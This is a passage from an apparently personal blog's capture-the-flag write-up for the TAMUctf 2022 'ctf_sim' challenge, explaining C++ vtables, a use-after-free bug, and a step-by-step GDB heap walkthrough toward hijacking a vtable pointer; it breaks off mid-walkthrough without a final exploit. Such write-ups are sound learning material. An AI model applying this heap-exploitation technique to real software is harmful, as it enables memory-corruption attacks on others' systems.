&lt;span class=&quot;token class-name&quot;&gt;funcptr_t&lt;/span&gt; parent__vtable&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    parent__foo&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    parent__bar&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token class-name&quot;&gt;funcptr_t&lt;/span&gt; derived__vtable&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    parent__foo&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    derived__bar&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    Parent p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;parent__vtable&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// parent__foo&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// parent__bar.&lt;/span&gt;

    Derived d &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;derived__vtable&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Parent&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;d&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// parent__foo&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Parent&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;d&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// derived__bar.&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;sup&gt;(&lt;a href=&quot;https://godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAMzwBtMA7AQwFtMQByARg9KtQYEAysib0QXACx8BBAKoBnTAAUAHpwAMvAFYTStJg1AB9U8lJL6yAngGVG6AMKpaAVxYMQAJgDMpBwAyeAyYAHLuAEaYxN4AHKQADqgKhLYMzm4e3n5JKTYCQSHhLFExXvGWmNZpQgRMxAQZ7p6%2BFphW%2BQy19QSFYZHRcRZ1DU1ZrQojvcH9JYPlAJQWqK7EyOwcAKS%2BwchuWADUmz6Ok/ioAHQIx9ibGgCCd/cEAJ4JmFhUBwBuqHjoBwgACoqK4GMgEgRiMYCAsIAtjgAhA4AehRBwAKm9MAcxHgmAoDvxiESwdUBAcksECNEFBcnk9Xu9PgdJsRXNYjgB2RFPA780ngyHQghAn51CL0JF8gXUyn1RgEYzoJh1aUPTZcgAiB2UCsE6seDyZH0wXzZHII3N5DwFgohUJhYu%2BEqlPht9ztcoS%2BqVKrV7tR6IAkgwENFCB8icRUCx5cRFfTbbLBAcsMQ8N8PsrVUxDZqdVqI1n0PmHmiDtgGO5oqq0gdUF9vngGq4xPbOnSnox3NaDgA1ABiclCjgxwYA8qFjIOJxPSAPh6Px1PjIj7gAlblasv3CvOcEJmkHPAsBL0NiCOsCLsPX7/eOK0z8VAQPUJwRihILuWqBZ9hIM0EKgIG2LwfQ/K1QK8ABWdB/xfEAjlg0sYMcBgwIXBIAFobggp9/SYBc/yRbcnnvAF8MEUwInqN9fS/H9Uz/ACgIIECwKoqDtjg/9aJiZC4M2NCMK8LwsNwnxsC4nM6mIhFAwLci/gBdNM2zYx%2BIgIsMxLMV0CYq0WM1ZFAOpDixLUktAR4gzBPgg5%2BKQ2zhPQzC00k6TfVkoiPJuKzs0I%2BTSKUjVy3RfsWwINtaBPM8L0Va8GEJCAE3wBNrAWJN7goolUFfd9FUYk9mP/EzKU8l0mElTBhMRIcRzHSdp1nCdhK1KAKKBBZvwOEjFO1ZSHy0wrP0pQy%2BrKnkKpuKqarqhrl2atdN3azqVO63r%2BuRUKjT3dE5voNMzWCVIb2y0EhUdK0ZOMQ7apg3kYJ1Y4Xp5GV%2BVul9SA%2Bx9qM0%2Bofo1Qb3QZB5LodEVjt0jT7rq9qjh8N6PTtL78qBz0BQC9AaMBhkQY9J45RYJhgggCippRgVRpuxHkdu%2B6Fy4JTQeTfkX2ggA2XqvAU5EKzR1Bfq07ZuYXHw%2BaDP6lQB4hst%2BnT1NUunrWx0xGYOGCF05lmqfZ/KoBp7rRbsrlJYF7zjBfYW6PoyDja8Tm7Nic30TV2X5e1DglloTgYN4TwOC0UhUE4RxWRWNYcW2HweFIAhNG9pYAGsQBgjR9E4SQA8TkPOF4BQQAzhOg%2B90g4FgGBEBQWMEjoaJyEoNAz3rmJkGALgvC4Pg6BpYhC4gCJc4iYJ6heTg4%2Bby8CAnBhaHH0vSCwEmjHERf0qqGws0LxfMFUKpXBpXPqXaXPaDwCJiDH5wsFzqFTwnsuqAMYAFEizAAHcJ3eQO4/4QQRBiHYFIGQghFAqHUIvXQ3cDBGBAKYYw5hz4RELpAJYqBIRpB3gXdom80j2AYE4FwzQ9CBBmMUUoehchnXSMQrI3dqGdD6BQwY3dKjki6FMMYng2G4I4d0BozCBgxDYVwuhPDhg9CEXMERSwFCR3WHoKEmANg8B9n7HOi9Q4cFULETm2FOaSAOMAZAyADidwuFwQEjgFy4EICQZCscFzOBbvQEkMcuALF4CXLQCwU5pwzr7Dg2dSAsACaQQOwdtEFyLvHROSwK7VxWAQBIh9G4QGbnXNxoRWAbF0fowxxjTHmK8JY3gHx7EZnQHof%2BwhRDiBAbU8Bahc7QNIB/K%2BCRH7qI4P7CJudtETkPqkq0jY%2Bp6IMUYkxZiLFWIgC4rJ0RHGeO8fEpY4YmDpkoD0kJYT079K0fnCwsSfFJ1IKnfZQSfCaKiUc05fjM4cC8Dc3g0S4mlweVmfu%2BDJBAA%3D&quot;&gt;godbolt demo&lt;/a&gt;, inspired from &lt;a href=&quot;https://gist.github.com/michahoiting/1aec1c95881881add9a20e9839c35cec&quot;&gt;this gist&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;So to reiterate and relate how this works with ctf_sim.cpp:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;By observation, each class (&lt;code&gt;challenge&lt;/code&gt;, &lt;code&gt;forensic&lt;/code&gt;, &lt;code&gt;reversing&lt;/code&gt;, etc.) has a virtual function.&lt;/li&gt;
&lt;li&gt;Therefore, each class has a vtable.&lt;/li&gt;
&lt;li&gt;Also, an object of any class (&lt;code&gt;challenge&lt;/code&gt;, &lt;code&gt;forensic&lt;/code&gt;, etc.) has a vptr.&lt;/li&gt;
&lt;li&gt;This vptr points to the corresponding vtable of the class.
&lt;ul&gt;
&lt;li&gt;e.g. a &lt;code&gt;forensic&lt;/code&gt; object will have a vptr pointing to the &lt;code&gt;forensic&lt;/code&gt; vtable.&lt;/li&gt;
&lt;li&gt;a &lt;code&gt;pwn&lt;/code&gt; object will have a vptr pointing to the &lt;code&gt;pwn&lt;/code&gt; vtable.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;exploiting-the-binary-with-gdb&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#exploiting-the-binary-with-gdb&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Exploiting the Binary with GDB&lt;/h4&gt;
&lt;p&gt;This section will walk through the hands-on aspect exploiting the &lt;code&gt;ctf_sim&lt;/code&gt; binary using GDB. I try to go through the entire procedure to clarify the details, so it may be slightly long-winded. Feel free to skip to the &lt;a href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#altogether&quot;&gt;conclusion&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To recap a bit, we know that...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;when a virtual function is called, the function does a little double-dereference magic using the object&#39;s vptr.&lt;/li&gt;
&lt;li&gt;there is a use-after-free/double-free vulnerability.
&lt;ul&gt;
&lt;li&gt;When solving a challenge, &lt;code&gt;delete&lt;/code&gt; is called. But the pointer value isn&#39;t cleared.&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Suppose p == 0x404000.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;delete&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Pointer value is still 0x404000, not NULL or anything else.&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;We could...
&lt;ul&gt;
&lt;li&gt;make a new challenge at the same index? This would overwrite our use-after-free pointer... we probably don&#39;t want that.&lt;/li&gt;
&lt;li&gt;solve the challenge again? This would call the virtual function and delete the pointer again.&lt;/li&gt;
&lt;li&gt;submit a writeup? We might be able to use this to reallocate the chunk and overwrite object data with custom data! Let&#39;s explore this a bit more using GDB.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We&#39;ll try the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Download challenge. This allocates a new chunk.&lt;/li&gt;
&lt;li&gt;Solve the downloaded challenge. This should free the chunk.&lt;/li&gt;
&lt;li&gt;Submit a writeup. This should reallocate the chunk, but with our custom data.&lt;/li&gt;
&lt;li&gt;Solve the downloaded challenge again. This should call a double deref on the vptr.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To understand the exploit the details better and what happens under the hood, we&#39;ll use GDB to step through the exploit.&lt;/p&gt;
&lt;p&gt;A brief refresher on some commands we&#39;ll be using. (See this &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/&quot;&gt;GDB cheatsheet&lt;/a&gt; for more commands.)&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;r               &lt;span class=&quot;token comment&quot;&gt;# Run the file.&lt;/span&gt;
c               &lt;span class=&quot;token comment&quot;&gt;# Continue running where we left off.&lt;/span&gt;
heap chunks     &lt;span class=&quot;token comment&quot;&gt;# View active chunks on the heap.&lt;/span&gt;
x /40wx &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# View memory at address as hex data.&lt;/span&gt;
x /40wi &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# View memory at address as instructions.&lt;/span&gt;
disas &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;sym&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;     &lt;span class=&quot;token comment&quot;&gt;# Disassemble a symbol.&lt;/span&gt;
b *&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;       &lt;span class=&quot;token comment&quot;&gt;# Set a breakpoint at the specified address.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;kill&lt;/span&gt;            &lt;span class=&quot;token comment&quot;&gt;# Useful for stopping the current run in case we make an oopsie and need to restart.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;After starting up my Kali Linux VM, downloading the challenge onto it, and firing up GDB; we inspect the initial state of the heap.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-continuation-prompt=&quot;gef&gt;&quot; data-continuation-str=&quot;  &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;gdb ctf_sim  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;r  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;^C  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;heap chunks  &lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-1-heap-init-1320w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-1-heap-init-1320w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1320 / 356&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-1-heap-init-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-1-heap-init-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-1-heap-init-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-1-heap-init-1320w.webp 1320w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1320px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ooo, looks a bit busy, even though we haven&#39;t &lt;code&gt;malloc&lt;/code&gt;ed or &lt;code&gt;new&lt;/code&gt;ed anything yet! These are probably allocations from iostream buffers used to buffer the input and output streams. We&#39;ll ignore these for now as they aren&#39;t very important.&lt;/p&gt;
&lt;p&gt;We perform our first action: downloading a challenge. The challenge type and index to store the challenge don&#39;t really matter, so we&#39;ll just go with the first option (&lt;code&gt;new forensics&lt;/code&gt;) and index 0.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gef&gt;&quot; data-continuation-prompt=&quot;&gt;&quot; data-continuation-str=&quot;  &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;c  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-2-input-1-1324w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-2-input-1-1324w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1324 / 550&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-2-input-1-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-2-input-1-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-2-input-1-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-2-input-1-1324w.webp 1324w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1324px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Let&#39;s pause again and check the state of the heap.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;&gt;&quot; data-continuation-prompt=&quot;gef&gt;&quot; data-continuation-str=&quot;  &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;^C  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;heap chunks&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3a-heap-after-input-1-1318w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3a-heap-after-input-1-1318w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1318 / 404&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3a-heap-after-input-1-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3a-heap-after-input-1-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3a-heap-after-input-1-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3a-heap-after-input-1-1318w.webp 1318w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1318px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Notice that there is now a new chunk with size &lt;code&gt;0x20&lt;/code&gt; with some data in the first few bytes. Since we just allocated a &lt;code&gt;forensics&lt;/code&gt; object, this is likely the vptr of that object.&lt;/p&gt;
&lt;p&gt;Indeed, if we peek into the binary&#39;s memory using &lt;code&gt;x /20wx 0x403d38&lt;/code&gt;, we see what looks like some vtables having a party:&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3b-vtables-party-1122w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3b-vtables-party-1122w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1122 / 162&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3b-vtables-party-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3b-vtables-party-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3b-vtables-party-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-3b-vtables-party-1122w.webp 1122w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1122px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;We&#39;ll move on to the second step: solving the challenge. This step is rather simple, but I want to show how the vtable magic is done in assembly. Let&#39;s disassemble the &lt;code&gt;solveChallenge()&lt;/code&gt; function and set a breakpoint near the hotspot.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gef&gt;&quot; data-continuation-prompt=&quot;&gt;&quot; data-continuation-str=&quot;  &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;disas solveChallenge&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;b *solveChallenge+191&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4a-disas-1-1310w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-95&quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4a-disas-1-1310w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1310 / 492&quot; alt=&quot;&quot; title=&quot;&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4a-disas-1-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/ctf-sim-4a-disas-1-512w.webp 512w, 